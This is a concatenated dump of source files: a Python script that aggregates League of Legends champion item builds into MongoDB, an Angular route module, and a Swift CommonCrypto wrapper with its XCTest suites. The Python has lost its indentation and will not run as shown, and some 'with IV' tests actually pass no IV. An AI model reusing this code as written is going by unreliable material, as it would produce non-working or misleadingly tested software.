client = pymongo.MongoClient(OPENSHIFT_MONGODB_DB_HOST,OPENSHIFT_MONGODB_DB_PORT)
client.leagueitemsets.authenticate(OPENSHIFT_MONDODB_DB_USER, OPENSHIFT_MONGODB_DB_PW)
# Initialize leagueitemsets database
db = client.leagueitemsets
# Do we want to clear the build dataset when this is run? Possibly...but we probably don't want to do it until we're ready to insert...
# Get list of champions - we want to loop through each one and generate/upload JSON to our "champion" collection
championListResponse = requests.get('https://global.api.pvp.net/api/lol/static-data/na/v1.2/champion?api_key=<KEY>')
championJSONobject = json.loads(championListResponse.text)
championJSONData = championJSONobject['data']
for key, values in championJSONData.items():
# (For debugging purposes)
#print('champName: ' + str(values['name']) + '; champID: ' + str(values['id']) )
# Get all matches played with this champ
currentChampId = values['id']
print('current champ id:' + str(currentChampId))
matchesWithCurrentChamp = db.Matches.find({'championId': currentChampId})
currentChampMatchCount = db.Matches.find({'championId': currentChampId}).count()
#print(currentChampMatchCount)
# (For debugging purposes)
#print(matchesWithCurrentChamp)
fullArrayOfItems = []
matchKDADict = {}
fullArrayOfWinningItems = []
championSummonerDict = {} # summonerID: gamesPlayed (for a specific champion)
# If we have matches played by this champ, we'll find them here! (If not, well...oops?)
if currentChampMatchCount > 0:
for match in matchesWithCurrentChamp:
# Gather combined items
tempItemArray = [ str(match['item0']), str(match['item1']), str(match['item2']), str(match['item3']), str(match['item4']), str(match['item5']), str(match['item6']) ]
fullArrayOfItems += tempItemArray
# If the player won the game, weigh their items twice as much as if they lost (and add their items to the "winningItems" list!)
if match['winner'] == 'true':
fullArrayOfItems += tempItemArray
fullArrayOfWinningItems += tempItemArray
# Get KDA for this match (assign death to 1 if there were no deaths) - we want to save time when creating the KDA list later!
if match['deaths'] == 0: match['deaths'] = 1
matchKDA = (match['kills'] + match['assists'] ) / match['deaths']
matchKDADict[match['matchId']] = matchKDA
#print(matchKDA)
# Add counter for current match's summonerId to dict (for easier sorting later on)
currentSummonerId = match['summonerId']
#print(str(championSummonerDict[currentSummonerId]))
try:
championSummonerDict[currentSummonerId]
except KeyError:
# First time we saw this summoner play this champion
championSummonerDict[currentSummonerId] = 1
else:
championSummonerDict[currentSummonerId] += 1
# See how matchKDA looks
# print(matchKDADict)
# See how championSummonerDict looks
#print('championSummerDict variable looks like: ')
#print(championSummonerDict)
# Remove all empty item slots and trinkets prior to analysis
trinketsAndEmptySlots = ['3361', '3362', '3363', '3364', '3342', '3341', '3340', '3345', '3460', '0']
adjustedItemList = [i for i in fullArrayOfItems if i not in trinketsAndEmptySlots]
#print(adjustedItemList)
# Who needs sleep?!
#time.sleep(1)
# Prior to removing trinkets and empty item slots - returns incorrect items (remove eventually, lol)
#itemsToCountOLD = (item for item in fullArrayOfItems if item[:1])
#cOLD = Counter(itemsToCountOLD)
itemsToCount = (item for item in adjustedItemList if item[:1])
c = Counter(itemsToCount)
# At the most basic level (prior to doing any more in-depth analysis), this would be the most popular build
#print(c.most_common(7))
popularItemDetails = {}
popularItemDetails['item0'] = {}
popularItemDetails['item1'] = {}
popularItemDetails['item2'] = {}
popularItemDetails['item3'] = {}
popularItemDetails['item4'] = {}
popularItemDetails['item5'] = {}
popularItemDetails['item6'] = {}
mostCommonItems = c.most_common(7)
#print(mostCommonItems)
for idx, item in enumerate(mostCommonItems):
# We'll return the item ID and the # of times the item was purchased (will show # of games bought/total # of games)
#tempItemDetails = { int(item[0]), item[1] }
#print(tempItemDetails)
currentItem = 'item'+str(idx)
popularItemDetails[currentItem]['itemId'] = int(item[0])
popularItemDetails[currentItem]['itemOccurrence'] = item[1]
print(str(popularItemDetails))
# ------------- Builds by highest KDA ------------- #
# For now, find the 3 highest KDAs with this champ, and use their builds! (Of course, we have to make sure at least 3 games were played!)
sortedList = sorted(matchKDADict.items(), key=lambda x: x[1])
#print(sortedList)
highestKDAGame = sortedList[-1]
if currentChampMatchCount > 1: secondHighestKDAGame = sortedList[-2]
if currentChampMatchCount > 2: thirdHighestKDAGame = sortedList[-3]
print('highest KDA after sort: ' + str(highestKDAGame))
if currentChampMatchCount > 1: print('second highest KDA after sort: ' + str(secondHighestKDAGame))
if currentChampMatchCount > 2: print('third highest KDA after sort: ' + str(thirdHighestKDAGame))
print('matchId of highest KDA game: ' + str(highestKDAGame[0]))
# This sub-document will return only the matchIds of the first, second, and third highest (we can calculate the KDAs later in Angular)
# ------------- Builds by most played ------------- #
# This will find the summoner who played this champ the most (top 3) and display their most common builds
matchesSortedByNumberGames = sorted(championSummonerDict.items(), key=lambda x: x[1])
#print('sorted list: ' + str(matchesSortedByNumberGames))
mostGamesPlayed = matchesSortedByNumberGames[-1]
print(currentChampMatchCount)
print(matchesSortedByNumberGames)
if len(matchesSortedByNumberGames) >= 2: secondMostGamesPlayed = matchesSortedByNumberGames[-2]
if len(matchesSortedByNumberGames) >= 3: thirdMostGamesPlayed = matchesSortedByNumberGames[-3]
# ------ Finally compiling the json to export -------#
championJSONBuilt = {}
championJSONBuilt['mostPopularItems'] = {}
championJSONBuilt['highestKDAGame'] = {}
championJSONBuilt['secondHighestKDAGame'] = {}
championJSONBuilt['thirdHighestKDAGame'] = {}
championJSONBuilt['mostGamesPlayed'] = {}
championJSONBuilt['secondMostGamesPlayed'] = {}
championJSONBuilt['thirdMostGamesPlayed'] = {}
# Compile the static json fields
championJSONBuilt['championId'] = currentChampId
# Store number of champ games played
championJSONBuilt['totalGamesWithChampion'] = currentChampMatchCount
# (Build most popular items)
championJSONBuilt['mostPopularItems'] = popularItemDetails
#championJSONBuilt['highestKDAGameId'] = highestKDAGame
championJSONBuilt['highestKDAGame']['matchId'] = highestKDAGame[0]
championJSONBuilt['highestKDAGame']['KDA'] = highestKDAGame[1]
if currentChampMatchCount > 2:
championJSONBuilt['secondHighestKDAGame']['matchId'] = secondHighestKDAGame[0]
championJSONBuilt['secondHighestKDAGame']['KDA'] = secondHighestKDAGame[1]
championJSONBuilt['thirdHighestKDAGame']['matchId'] = thirdHighestKDAGame[0]
championJSONBuilt['thirdHighestKDAGame']['KDA'] = thirdHighestKDAGame[1]
elif currentChampMatchCount == 2:
championJSONBuilt['secondHighestKDAGame']['matchId'] = secondHighestKDAGame[0]
championJSONBuilt['secondHighestKDAGame']['KDA'] = secondHighestKDAGame[1]
championJSONBuilt['thirdHighestKDAGame']['matchId'] = 0
championJSONBuilt['thirdHighestKDAGame']['KDA'] = 0
elif currentChampMatchCount == 1:
championJSONBuilt['secondHighestKDAGame']['matchId'] = 0
championJSONBuilt['secondHighestKDAGame']['KDA'] = 0
championJSONBuilt['thirdHighestKDAGame']['matchId'] = 0
championJSONBuilt['thirdHighestKDAGame']['KDA'] = 0
championJSONBuilt['mostGamesPlayed']['summonerId'] = mostGamesPlayed[0]
championJSONBuilt['mostGamesPlayed']['numGamesPlayed'] = mostGamesPlayed[1]
#championJSONBuilt['mostGamesPlayed'] = mostGamesPlayed
if currentChampMatchCount > 2:
championJSONBuilt['secondMostGamesPlayed']['summonerId'] = secondMostGamesPlayed[0]
championJSONBuilt['secondMostGamesPlayed']['numGamesPlayed'] = secondMostGamesPlayed[1]
championJSONBuilt['thirdMostGamesPlayed']['summonerId'] = thirdMostGamesPlayed[0]
championJSONBuilt['thirdMostGamesPlayed']['numGamesPlayed'] = thirdMostGamesPlayed[1]
elif currentChampMatchCount == 2:
championJSONBuilt['secondMostGamesPlayed']['summonerId'] = secondMostGamesPlayed[0]
championJSONBuilt['secondMostGamesPlayed']['numGamesPlayed'] = secondMostGamesPlayed[1]
championJSONBuilt['thirdMostGamesPlayed']['summonerId'] = 0
championJSONBuilt['thirdMostGamesPlayed']['numGamesPlayed'] = 0
elif currentChampMatchCount == 1:
championJSONBuilt['secondMostGamesPlayed']['summonerId'] = 0
championJSONBuilt['secondMostGamesPlayed']['numGamesPlayed'] = 0
championJSONBuilt['thirdMostGamesPlayed']['summonerId'] = 0
championJSONBuilt['thirdMostGamesPlayed']['numGamesPlayed'] = 0
# Build JSON
championJSONToUpload = json.dumps(championJSONBuilt)
# Insert the match!
db.Champions.insert_one(json.loads(championJSONToUpload))
else:
# Well, this is awkward, no one played any games with this champ!
print('No one played any recent games with ' + values['name'] + '...we''ll get right on that...')
# Who needs sleep?!
#time.sleep(3)
<file_sep>'use strict';
/**
* @ngdoc overview
* @name leagueItemSetsApp
* @description
* # leagueItemSetsApp
*
* Main module of the application.
*/
angular.module('leagueItemSetsApp', [
'ngAnimate',
'ngCookies',
'ngResource',
'ngRoute',
'ngSanitize',
'ngTouch'
]).config(function ($routeProvider) {
$routeProvider
.when('/', {
templateUrl: 'views/home.html',
controller: 'HomeCtrl',
controllerAs: 'home'
})
.when('/summoner/:summoner', {
templateUrl: 'views/summoner.html',
controller: 'SummonerCtrl',
controllerAs: 'summoner'
})
.when('/summoners', {
templateUrl: 'views/summoners.html',
controller: 'SummonersCtrl',
controllerAs: 'summoners'
})
.when('/champions/', {
templateUrl: 'views/champions.html',
controller: 'ChampionsCtrl',
controllerAs: 'champions'
})
.when('/champion/:id', {
templateUrl: 'views/champion.html',
controller: 'ChampionCtrl',
controllerAs: 'champion'
})
.when('/about', {
templateUrl: 'views/about.html',
controller: 'HomeCtrl',
controllerAs: 'home'
})
.otherwise({
redirectTo: '/'
});
}).config(['$httpProvider', function($httpProvider) {
$httpProvider.defaults.useXDomain = true;
delete $httpProvider.defaults.headers.common['X-Requested-With'];
}
]);
|
9aff91c0b8e9ab7b6adbb8828e166257cf9ef41c
|
[
"JavaScript",
"Python",
"HTML",
"Markdown"
] | 9
|
JavaScript
|
kennyw728/league-item-sets
|
945850468c9f8944f75f7b879848d4d44a5cf602
|
d3fca46385046b92fee3d6d923381ad0d74dd7ce
|
refs/heads/master
|
<repo_name>rhodgkins/RDHCommonCrypto<file_sep>/RDHCommonCrypto/Random.swift
//
// Random.swift
// RDHCommonCrypto
//
// Created by <NAME> on 21/09/2014.
// Copyright (c) 2014 <NAME>. All rights reserved.
//
import Foundation
public func secureRandomData(withLength: Int) -> NSData? {
let length = withLength
assert(length >= 0, "Length must be greater or equal than 0")
let data = NSMutableData(length: length)
var status = false
if NSFoundationVersionNumber > NSFoundationVersionNumber_iOS_7_1 {
status = CCRandomGenerateBytes(data.mutableBytes, UInt(length)) == CCRNGStatus(kCCSuccess)
} else {
status = SecRandomCopyBytes(kSecRandomDefault, UInt(length), UnsafeMutablePointer<UInt8>(data.mutableBytes)) == 0
}
return status ? data : nil
}
// Don't extend NSObject as there are no instance methods
@objc public class Random {
/// Cannot instantiate this class
private init() {
assertionFailure("KeyDerivation cannot be instantiated")
}
/// Uses CCRandomGenerateBytes if available (needs iOS 8.0/OSX 10.10) otherwise uses SecRandomCopyBytes. @returns random data of length
@objc public class func secureRandomDataWithLength(length: Int) -> NSData? {
return secureRandomData(length)
}
}<file_sep>/README.md
RDHCommonCrypto
===============
Swift/Objective-C API for the C based CommonCrypto library
<file_sep>/TestProject/Tests/KeyDerivationTests.swift
//
// KeyDerivationTests.swift
// RDHCommonCrypto
//
// Created by <NAME> on 21/09/2014.
// Copyright (c) 2014 <NAME>. All rights reserved.
//
import XCTest
import RDHCommonCrypto
let Password = "<PASSWORD>!"
let Salt = secureRandomData(100)!
let TestCalibration = false
class KeyDerivationTests: XCTestCase {
func testPBKDF2() {
let (key, error) = KeyDerivation.PBKDFWithAlgorithm(RDHPBKDFAlgorithm.PBKDF2, usingPassword: <PASSWORD>, withSalt: Salt, pseudoRandomAlgorithm: RDHPseudoRandomAlgorithm.HmacAlgSHA1, numberOfRounds: 10)
}
func testPBKDF2Calibration() {
let rounds = KeyDerivation.calibratePBKDF2UsingPassword(Password, salt: Salt, pseudoRandomAlgorithm: RDHPseudoRandomAlgorithm.HmacAlgSHA512, targettedDuration: 0.005)
let (key, error) = KeyDerivation.PBKDFWithAlgorithm(RDHPBKDFAlgorithm.PBKDF2, usingPassword: <PASSWORD>, withSalt: Salt, pseudoRandomAlgorithm: RDHPseudoRandomAlgorithm.HmacAlgSHA1, numberOfRounds: rounds)
}
func testAgainstCAPI() {
let algorithms = ["PBKDF2" : RDHPBKDFAlgorithm.PBKDF2]
let prfs = ["SHA-1" : RDHPseudoRandomAlgorithm.HmacAlgSHA1,
"SHA-224" : RDHPseudoRandomAlgorithm.HmacAlgSHA224,
"SHA-256" : RDHPseudoRandomAlgorithm.HmacAlgSHA256,
"SHA-384" : RDHPseudoRandomAlgorithm.HmacAlgSHA384,
"SHA-512" : RDHPseudoRandomAlgorithm.HmacAlgSHA512]
for (algKey, alg) in algorithms {
for (prfKey, prf) in prfs {
let message = "\(algKey) using \(prfKey)"
NSLog(message)
func randomStringWithLength(var length: Int) -> String {
var s = ""
while (countElements(s) < length) {
s += "h"
}
return s
}
let passwordLength = random() % 64
let saltLength = random() % 256
let derivedKeyLength = random() % 128
let password = randomStringWithLength(passwordLength)
let salt = secureRandomData(saltLength)
let duration = 0.05
let durationMS = UInt32(ceil(duration * 1000.0))
if TestCalibration {
// Calibration
// Swift
let actualRounds = KeyDerivation.calibratePBKDFWithAlgorithm(alg, password: <PASSWORD>, salt: salt, pseudoRandomAlgorithm: prf, targettedDuration: duration, derivedKeyLength: derivedKeyLength)
// C API
let expectedRounds = Int(CCCalibratePBKDF(alg.toRaw(), strlen(password), UInt(salt?.length ?? 0), prf.toRaw(), UInt(derivedKeyLength), durationMS))
XCTAssertEqualWithAccuracy(Double(actualRounds), Double(expectedRounds), Double(expectedRounds) * 0.25, "Rounds not correct: \(message)")
}
// Derivation
let rounds = 1 + (random() % 50000)
// Swift
let (actualKey, actualError) = KeyDerivation.PBKDFWithAlgorithm(alg, usingPassword: <PASSWORD>, withSalt: salt, pseudoRandomAlgorithm: prf, numberOfRounds: rounds, derivedKeyLength: derivedKeyLength)
// C API
let expectedKey = NSMutableData(length: derivedKeyLength)
let expectedStatus = Int(CCKeyDerivationPBKDF(alg.toRaw(), password, strlen(password), UnsafePointer<UInt8>(salt?.bytes ?? nil), UInt(saltLength), prf.toRaw(), uint(rounds), UnsafeMutablePointer<UInt8>(expectedKey.mutableBytes), UInt(derivedKeyLength)))
if expectedStatus == kCCSuccess {
if let key = actualKey {
XCTAssertTrue(key == expectedKey, "Derived keys not the same: \(message)")
} else {
XCTAssertNotNil(actualKey, "Returned nil key: \(message)")
}
XCTAssertNil(actualError, "Error not nil: \(message)")
} else {
XCTAssertNotNil(actualError, "Error nil: \(message)")
XCTAssertNil(actualKey, "Derived key not nil: \(message)")
}
}
}
}
}
<file_sep>/TestProject/Tests/RandomTests.swift
//
// RandomTests.swift
// RDHCommonCrypto
//
// Created by <NAME> on 21/09/2014.
// Copyright (c) 2014 <NAME>. All rights reserved.
//
import UIKit
import XCTest
class RandomTests: XCTestCase {
func testRandom() {
for _ in (1...100) {
let length = random() % 10000
let randomData = secureRandomData(length)
XCTAssertNotNil(randomData, "Data nil")
XCTAssertEqual(randomData!.length, length, "Data incorrect length")
}
}
}
<file_sep>/TestProject/CommonCrypto/RDHObjectiveCAccess.h
//
// RDHObjectiveCAccess.h
// RDHCommonCrypto
//
// Created by <NAME> on 21/09/2014.
// Copyright (c) 2014 <NAME>. All rights reserved.
//
extern void RDHCheck();
<file_sep>/TestProject/Tests/CryptorTests.swift
//
// CryptorTests.swift
// RDHCommonCrypto
//
// Created by <NAME> on 15/09/2014.
// Copyright (c) 2014 <NAME>. All rights reserved.
//
import XCTest
import RDHCommonCrypto
let Key: NSData! = secureRandomData(kCCKeySizeAES256)
let PlainTextInputData: NSData! = secureRandomData(997)
class CryptorTests: XCTestCase {
// MARK: - Cryptor: encryption
func testCryptorEncryptionWithEmptyKeyAndEmptyData() {
// Without IV
cryptorTestsEncrypt(kCCAlgorithmAES, kCCOptionPKCS7Padding, nil, NSData(), NSData(), self.name)
// With IV
cryptorTestsEncrypt(kCCAlgorithmAES, kCCOptionPKCS7Padding, secureRandomData(kCCBlockSizeAES128), NSData(), NSData(), "\(self.name) with IV")
}
func testCryptorEncryptionWithKeyAndEmptyData() {
// Without IV
cryptorTestsEncrypt(kCCAlgorithmAES, kCCOptionPKCS7Padding, nil, Key, NSData(), self.name)
// With IV
cryptorTestsEncrypt(kCCAlgorithmAES, kCCOptionPKCS7Padding, secureRandomData(kCCBlockSizeAES128), Key, NSData(), "\(self.name) with IV")
}
func testCryptorEncryptionWithEmptyKeyAndData() {
// Without IV
cryptorTestsEncrypt(kCCAlgorithmAES, kCCOptionPKCS7Padding, nil, NSData(), PlainTextInputData, self.name)
// With IV
cryptorTestsEncrypt(kCCAlgorithmAES, kCCOptionPKCS7Padding, secureRandomData(kCCBlockSizeAES128), NSData(), PlainTextInputData, "\(self.name) with IV")
}
func testCryptorEncryptionWithKeyAndData() {
// Without IV
cryptorTestsEncrypt(kCCAlgorithmAES, kCCOptionPKCS7Padding, nil, Key, PlainTextInputData, self.name)
// With IV
cryptorTestsEncrypt(kCCAlgorithmAES, kCCOptionPKCS7Padding, secureRandomData(kCCBlockSizeAES128), Key, PlainTextInputData, "\(self.name) with IV")
}
func testAllEncryptions() {
let algorithms = ["AES with 128 key size" : (kCCAlgorithmAES, kCCKeySizeAES128, kCCBlockSizeAES128),
"AES with 192 key size" : (kCCAlgorithmAES, kCCKeySizeAES192, kCCBlockSizeAES128),
"AES with 256 key size" : (kCCAlgorithmAES, kCCKeySizeAES256, kCCBlockSizeAES128),
"AES128 with 128 key size" : (kCCAlgorithmAES128, kCCKeySizeAES128, kCCBlockSizeAES128),
"DES with standard key size" : (kCCAlgorithmDES, kCCKeySizeDES, kCCBlockSizeDES),
"3DES with standard key size" : (kCCAlgorithm3DES, kCCKeySize3DES, kCCBlockSize3DES),
"CAST with random key size" : (kCCAlgorithmCAST, kCCKeySizeMinCAST + (random() % (kCCKeySizeMaxCAST - kCCKeySizeMinCAST)), kCCBlockSizeCAST),
"Blowfish with random key size" : (kCCAlgorithmBlowfish, kCCKeySizeMinBlowfish + (random() % (kCCKeySizeMaxBlowfish - kCCKeySizeMinBlowfish)), kCCBlockSizeBlowfish),
"RC2 with random key size" : (kCCAlgorithmRC2, kCCKeySizeMinRC2 + (random() % (kCCKeySizeMaxRC2 - kCCKeySizeMinRC2)), kCCBlockSizeRC2),
"RC4 with random key size" : (kCCAlgorithmRC4, kCCKeySizeMinRC4 + (random() % (kCCKeySizeMaxRC4 - kCCKeySizeMinRC4)), 1)]
let options = ["no options" : 0,
"PKCS7 padding" : kCCOptionPKCS7Padding,
"ECB" : kCCOptionECBMode,
"PKCS7 padding and ECB" : kCCOptionPKCS7Padding | kCCOptionECBMode]
var count = 0
for (algKey, (alg, keySize, blockSize)) in algorithms {
for (optKey, opt) in options {
var dataInLength = 997 + (random() % 997)
if ((opt & kCCOptionPKCS7Padding) == 0) {
func align(size: Int) -> Int {
if (size % blockSize) == 0 {
return size
} else {
let numberOfBlocks = size / blockSize
return (numberOfBlocks + 1) * blockSize
}
}
NSLog("Re-adjusting input data to block size: \(dataInLength) -> \(align(dataInLength))")
dataInLength = align(dataInLength)
}
let key: NSData! = secureRandomData(keySize)
let inData: NSData! = secureRandomData(dataInLength)
let iv = CCAlgorithm(alg).randomIV()
let message = "Testing \(algKey) of \(key.length) with \(optKey)"
NSLog(message)
// Without IV
let noIVMessage = "\(message) and no IV"
let noIVResult = cryptorTestsEncrypt(alg, opt, nil, key, inData, noIVMessage)
XCTAssert(noIVResult, noIVMessage)
count++
if let unwrappedIV = iv {
// With IV
let IVMessage = "\(message) and IV of length \(unwrappedIV.length)"
let IVResult = cryptorTestsEncrypt(alg, opt, unwrappedIV, key, inData, IVMessage)
XCTAssert(IVResult, IVMessage)
count++
}
}
}
NSLog("\(count) different encryption combinations run")
}
// MARK: -
func cryptorTestsEncrypt(algorithm: Int, _ options: Int, _ iv: NSData?, _ key: NSData, _ plainTextData: NSData, _ message: String = "") -> Bool {
let ccAlgorithm = CCAlgorithm(algorithm)
let ccOptions = CCOptions(options)
let alg = RDHAlgorithm.fromRaw(ccAlgorithm)!
let opts = [Option(Int(ccOptions))]
// Swift API
let (actualDataOut, actualError) = Cryptor.encrypt(alg, usingOptions: opts, withKey: key, initialisationVector: iv, dataIn: plainTextData)
// Original CommonCrypto API
let (expectedStatus, expectedOutData) = cryptorData(kCCEncrypt, ccAlgorithm, ccOptions, key, iv, plainTextData)
var result = true
// Check
if (expectedStatus == CCStatus(kCCSuccess)) {
// Data should be equal, error should be nil
if let unwrappedActualDataOut = actualDataOut {
XCTAssertEqual(unwrappedActualDataOut.length, expectedOutData!.length, "Encrypted data is incorrect length: \(message)")
result &= unwrappedActualDataOut.length == expectedOutData!.length
// Try decrypting the cryptor encrypted data
let (decryptStatus, decryptedActualData) = cryptorData(kCCDecrypt, ccAlgorithm, ccOptions, key, iv, unwrappedActualDataOut)
if (decryptStatus == CCStatus(kCCSuccess)) {
XCTAssertEqual(decryptedActualData!.length, plainTextData.length, "Decrypting the encrytped data did not yeild the same data length: \(message)")
XCTAssertTrue(decryptedActualData! == plainTextData, "Decrypting the encrytped data did not yeild the same data: \(message)")
result &= decryptedActualData! == plainTextData
} else {
XCTFail("Failed to decrypted the encrypted data: \(message)")
result &= false
}
} else {
XCTAssertNotNil(actualDataOut, "Data should not be nil: \(message)")
result &= actualDataOut != nil
}
XCTAssertNil(actualError, "Error should be nil - \(actualError): \(message)")
result &= actualError == nil
} else {
// Data should be nil, error should be set
XCTAssertNil(actualDataOut, "Data out not nil: \(message)")
result &= actualDataOut == nil
if let unwrappedActualError = actualError {
XCTAssertEqual(unwrappedActualError.code, Int(expectedStatus), "Status is incorrect: \(message)")
result &= unwrappedActualError.code == Int(expectedStatus)
} else {
XCTAssertNotNil(actualError, "Error should not be nil: \(message)")
result &= actualError != nil
}
}
return result
}
// MARK: - Cryptor: decryption
func testCryptorDecryptionWithEmptyKeyAndEmptyData() {
// Without IV
cryptorTestsDecrypt(kCCAlgorithmAES, kCCOptionPKCS7Padding, nil, NSData(), NSData(), self.name)
// With IV
cryptorTestsDecrypt(kCCAlgorithmAES, kCCOptionPKCS7Padding, secureRandomData(kCCBlockSizeAES128), NSData(), NSData(), "\(self.name) with IV")
}
func testCryptorDecryptionWithKeyAndEmptyData() {
// Without IV
cryptorTestsDecrypt(kCCAlgorithmAES, kCCOptionPKCS7Padding, nil, Key, NSData(), self.name)
// With IV
cryptorTestsDecrypt(kCCAlgorithmAES, kCCOptionPKCS7Padding, secureRandomData(kCCBlockSizeAES128), Key, NSData(), "\(self.name) with IV")
}
func testCryptorDecryptionWithEmptyKeyAndData() {
// Without IV
cryptorTestsDecrypt(kCCAlgorithmAES, kCCOptionPKCS7Padding, nil, NSData(), PlainTextInputData, self.name)
// With IV
cryptorTestsDecrypt(kCCAlgorithmAES, kCCOptionPKCS7Padding, secureRandomData(kCCBlockSizeAES128), NSData(), PlainTextInputData, "\(self.name) with IV")
}
func testCryptorDecryptionWithKeyAndData() {
let algorithm = kCCAlgorithmAES
let options = kCCOptionPKCS7Padding
let iv = secureRandomData(kCCBlockSizeAES128)
let key = secureRandomData(kCCKeySizeAES256)!
let plainTextData = PlainTextInputData
// Without IV
cryptorDecryption(algorithm, options, key, nil, plainTextData, message: self.name)
// With IV
cryptorDecryption(algorithm, options, key, nil, plainTextData, message: "\(self.name) with IV")
}
func testAllDecryptions() {
let algorithms = ["AES with 128 key size" : (kCCAlgorithmAES, kCCKeySizeAES128, kCCBlockSizeAES128),
"AES with 192 key size" : (kCCAlgorithmAES, kCCKeySizeAES192, kCCBlockSizeAES128),
"AES with 256 key size" : (kCCAlgorithmAES, kCCKeySizeAES256, kCCBlockSizeAES128),
"AES128 with 128 key size" : (kCCAlgorithmAES128, kCCKeySizeAES128, kCCBlockSizeAES128),
"DES with standard key size" : (kCCAlgorithmDES, kCCKeySizeDES, kCCBlockSizeDES),
"3DES with standard key size" : (kCCAlgorithm3DES, kCCKeySize3DES, kCCBlockSize3DES),
"CAST with random key size" : (kCCAlgorithmCAST, kCCKeySizeMinCAST + (random() % (kCCKeySizeMaxCAST - kCCKeySizeMinCAST)), kCCBlockSizeCAST),
"Blowfish with random key size" : (kCCAlgorithmBlowfish, kCCKeySizeMinBlowfish + (random() % (kCCKeySizeMaxBlowfish - kCCKeySizeMinBlowfish)), kCCBlockSizeBlowfish),
"RC2 with random key size" : (kCCAlgorithmRC2, kCCKeySizeMinRC2 + (random() % (kCCKeySizeMaxRC2 - kCCKeySizeMinRC2)), kCCBlockSizeRC2),
"RC4 with random key size" : (kCCAlgorithmRC4, kCCKeySizeMinRC4 + (random() % (kCCKeySizeMaxRC4 - kCCKeySizeMinRC4)), 1)]
let options = ["no options" : 0,
"PKCS7 padding" : kCCOptionPKCS7Padding,
"ECB" : kCCOptionECBMode,
"PKCS7 padding and ECB" : kCCOptionPKCS7Padding | kCCOptionECBMode]
var count = 0
for (algKey, (alg, keySize, blockSize)) in algorithms {
for (optKey, opt) in options {
var dataInLength = 997 + (random() % 997)
if ((opt & kCCOptionPKCS7Padding) == 0) {
func align(size: Int) -> Int {
if (size % blockSize) == 0 {
return size
} else {
let numberOfBlocks = size / blockSize
return (numberOfBlocks + 1) * blockSize
}
}
NSLog("Re-adjusting input data to block size: \(dataInLength) -> \(align(dataInLength))")
dataInLength = align(dataInLength)
}
let key: NSData! = secureRandomData(keySize)
let inData: NSData! = secureRandomData(dataInLength)
let iv = CCAlgorithm(alg).randomIV()
let message = "Testing decryption \(algKey) of \(key.length) with \(optKey)"
NSLog(message)
// Without IV
let noIVMessage = "\(message) and no IV"
let noIVResult = cryptorDecryption(alg, opt, key, nil, inData, message: self.name)
XCTAssert(noIVResult, noIVMessage)
count++
if let unwrappedIV = iv {
// With IV
let IVMessage = "\(message) and IV of length \(unwrappedIV.length)"
let IVResult = cryptorDecryption(alg, opt, key, nil, inData, message: "\(self.name) with IV")
XCTAssert(IVResult, IVMessage)
count++
}
}
}
NSLog("\(count) different decryption combinations run")
}
func cryptorDecryption(algorithm: Int, _ options: Int, _ key: NSData, _ iv: NSData?, _ plainTextData: NSData, message: String) -> Bool {
let cipherTextData: NSData! = cryptorData(kCCEncrypt, CCAlgorithm(algorithm), CCOptions(options), key, iv, plainTextData).dataOut
return cryptorTestsDecrypt(algorithm, options, iv, key, cipherTextData, message)
}
// MARK: -
func cryptorTestsDecrypt(algorithm: Int, _ options: Int, _ iv: NSData?, _ key: NSData, _ cipherTextData: NSData, _ message: String = "") -> Bool {
let ccAlgorithm = CCAlgorithm(algorithm)
let ccOptions = CCOptions(options)
let alg = RDHAlgorithm.fromRaw(ccAlgorithm)!
let opts = [Option(Int(ccOptions))]
// Swift API
let (actualDataOut, actualError) = Cryptor.decrypt(alg, usingOptions: opts, withKey: key, initialisationVector: iv, dataIn: cipherTextData)
// Original CommonCrypto API
let (expectedStatus, expectedOutData) = cryptorData(kCCDecrypt, ccAlgorithm, ccOptions, key, iv, cipherTextData)
var result = true
// Check
if (expectedStatus == CCStatus(kCCSuccess)) {
// Data should be equal, error should be nil
if let unwrappedActualDataOut = actualDataOut {
XCTAssertEqual(unwrappedActualDataOut.length, expectedOutData!.length, "Encrypted data length is incorrect: \(message)")
XCTAssertTrue(unwrappedActualDataOut == expectedOutData!, "Encrypted data is incorrect: \(message)")
result &= unwrappedActualDataOut == expectedOutData!
} else {
XCTAssertNotNil(actualDataOut, "Data should not be nil: \(message)")
result &= actualDataOut != nil
}
XCTAssertNil(actualError, "Error should be nil - \(actualError): \(message)")
result &= actualError == nil
} else {
// Data should be nil, error should be set
XCTAssertNil(actualDataOut, "Data out not nil: \(message)")
result &= actualDataOut == nil
if let unwrappedActualError = actualError {
XCTAssertEqual(unwrappedActualError.code, Int(expectedStatus), "Status is incorrect: \(message)")
result &= unwrappedActualError.code == Int(expectedStatus)
} else {
XCTAssertNotNil(actualError, "Error should not be nil: \(message)")
result &= actualError != nil
}
}
return result
}
}
func cryptorData(operation: Int, algorithm: CCAlgorithm, options: CCOptions, key: NSData, iv: NSData?, dataIn: NSData) -> (status: CCStatus, dataOut: NSData?) {
let outDataLength = dataIn.length + 256 // 256 should be bigger than the largest block size
var outData: NSMutableData? = NSMutableData(length: outDataLength)
var dataOutMoved: UInt = 0
var bytesOut = outData!.mutableBytes
let status = CCCrypt(CCOperation(operation), algorithm, options, key.bytes, UInt(key.length), iv == nil ? nil : iv!.bytes, dataIn.bytes, UInt(dataIn.length), bytesOut, UInt(outDataLength), &dataOutMoved)
if (status == CCStatus(kCCSuccess)) {
// Cut data to correct length
outData!.length = Int(dataOutMoved)
return (status, NSData(data: outData!))
} else {
return (status, nil)
}
}
<file_sep>/RDHCommonCrypto/CryptoError.swift
//
// CryptoError.swift
// RDHCommonCrypto
//
// Created by <NAME> on 15/09/2014.
// Copyright (c) 2014 <NAME>. All rights reserved.
//
import Foundation
let RDHCommonCryptoErrorDomain = "RDHCommonCryptoErrorDomain"
extension RDHStatus {
func error() -> NSError? {
var message: String? = nil
switch (self) {
case .Success:
return nil
case .ParameterError:
message = "Illegal parameter value."
case .BufferTooSmall:
message = "Insufficent buffer provided for specified operation."
case .MemoryFailure:
message = "Memory allocation failure."
case .AlignmentError:
message = "Input size was not aligned properly."
case .DecodeError:
message = "Input data did not decode or decrypt properly."
case .Unimplemented:
message = "Function not implemented for the current algorithm."
case .Overflow:
message = nil
case .RandomNumberGeneratorFailure:
message = nil
case .Unknown:
message = nil
}
return NSError(domain: RDHCommonCryptoErrorDomain, code: Int(self.toRaw()), userInfo: (message != nil) ? [NSLocalizedDescriptionKey : message!] : nil)
}
static func fromInt(intStatus: CCStatus) -> RDHStatus {
return fromRaw(intStatus) ?? .Unknown
}
/// Closure that converts a crypto operation status
static func statusForOperation(block: () -> CCStatus) -> RDHStatus {
let intStatus = block()
return RDHStatus.fromInt(intStatus)
}
